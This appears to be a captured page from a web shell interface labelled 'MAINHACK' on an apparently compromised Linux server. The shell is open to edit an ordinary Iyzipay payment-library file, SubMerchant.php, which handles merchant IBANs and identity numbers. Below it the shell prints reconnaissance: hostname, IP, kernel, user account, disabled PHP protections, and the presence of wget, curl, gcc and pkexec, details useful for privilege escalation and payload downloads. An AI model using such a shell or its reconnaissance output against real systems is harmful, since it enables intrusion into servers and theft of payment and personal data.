[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SubMerchant.php
<?php namespace Iyzipay\Model; use Iyzipay\IyzipayResource; use Iyzipay\Model\Mapper\SubMerchantMapper; use Iyzipay\Options; use Iyzipay\Request\CreateSubMerchantRequest; use Iyzipay\Request\RetrieveSubMerchantRequest; use Iyzipay\Request\UpdateSubMerchantRequest; class SubMerchant extends IyzipayResource { private $name; private $email; private $gsmNumber; private $address; private $iban; private $swiftCode; private $currency; private $taxOffice; private $contactName; private $contactSurname; private $legalCompanyTitle; private $subMerchantExternalId; private $identityNumber; private $taxNumber; private $subMerchantType; private $subMerchantKey; const URL = "/onboarding/submerchant"; public static function create(CreateSubMerchantRequest $request, Options $options) { $rawResult = parent::httpClient()->post($options->getBaseUrl() . self::URL, parent::getHttpHeadersV2(self::URL, $request, $options), $request->toJsonString()); return SubMerchantMapper::create($rawResult)->jsonDecode()->mapSubMerchant(new SubMerchant()); } public static function update(UpdateSubMerchantRequest $request, Options $options) { $rawResult = parent::httpClient()->put($options->getBaseUrl() . self::URL, parent::getHttpHeadersV2(self::URL, $request, $options), $request->toJsonString()); return SubMerchantMapper::create($rawResult)->jsonDecode()->mapSubMerchant(new SubMerchant()); } public static function retrieve(RetrieveSubMerchantRequest $request, Options $options) { $url = self::URL . "/detail"; $rawResult = parent::httpClient()->post($options->getBaseUrl() . $url, parent::getHttpHeadersV2($url, $request, $options), $request->toJsonString()); return SubMerchantMapper::create($rawResult)->jsonDecode()->mapSubMerchant(new SubMerchant()); } public function getName() { return $this->name; } public function setName($name) { $this->name = $name; } public function getEmail() { return $this->email; } public function setEmail($email) { $this->email = $email; } public function getGsmNumber() { return $this->gsmNumber; } public function setGsmNumber($gsmNumber) { $this->gsmNumber = $gsmNumber; } public function getAddress() { return $this->address; } public function setAddress($address) { $this->address = $address; } public function getIban() { return $this->iban; } public function setIban($iban) { $this->iban = $iban; } public function getSwiftCode() { return $this->swiftCode; } public function setSwiftCode($swiftCode) { $this->swiftCode = $swiftCode; } public function getCurrency() { return $this->currency; } public function setCurrency($currency) { $this->currency = $currency; } public function getTaxOffice() { return $this->taxOffice; } public function setTaxOffice($taxOffice) { $this->taxOffice = $taxOffice; } public function getContactName() { return $this->contactName; } public function setContactName($contactName) { $this->contactName = $contactName; } public function getContactSurname() { return $this->contactSurname; } public function setContactSurname($contactSurname) { $this->contactSurname = $contactSurname; } public function getLegalCompanyTitle() { return $this->legalCompanyTitle; } public function setLegalCompanyTitle($legalCompanyTitle) { $this->legalCompanyTitle = $legalCompanyTitle; } public function getSubMerchantExternalId() { return $this->subMerchantExternalId; } public function setSubMerchantExternalId($subMerchantExternalId) { $this->subMerchantExternalId = $subMerchantExternalId; } public function getIdentityNumber() { return $this->identityNumber; } public function setIdentityNumber($identityNumber) { $this->identityNumber = $identityNumber; } public function getTaxNumber() { return $this->taxNumber; } public function setTaxNumber($taxNumber) { $this->taxNumber = $taxNumber; } public function getSubMerchantType() { return $this->subMerchantType; } public function setSubMerchantType($subMerchantType) { $this->subMerchantType = $subMerchantType; } public function getSubMerchantKey() { return $this->subMerchantKey; } public function setSubMerchantKey($subMerchantKey) { $this->subMerchantKey = $subMerchantKey; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002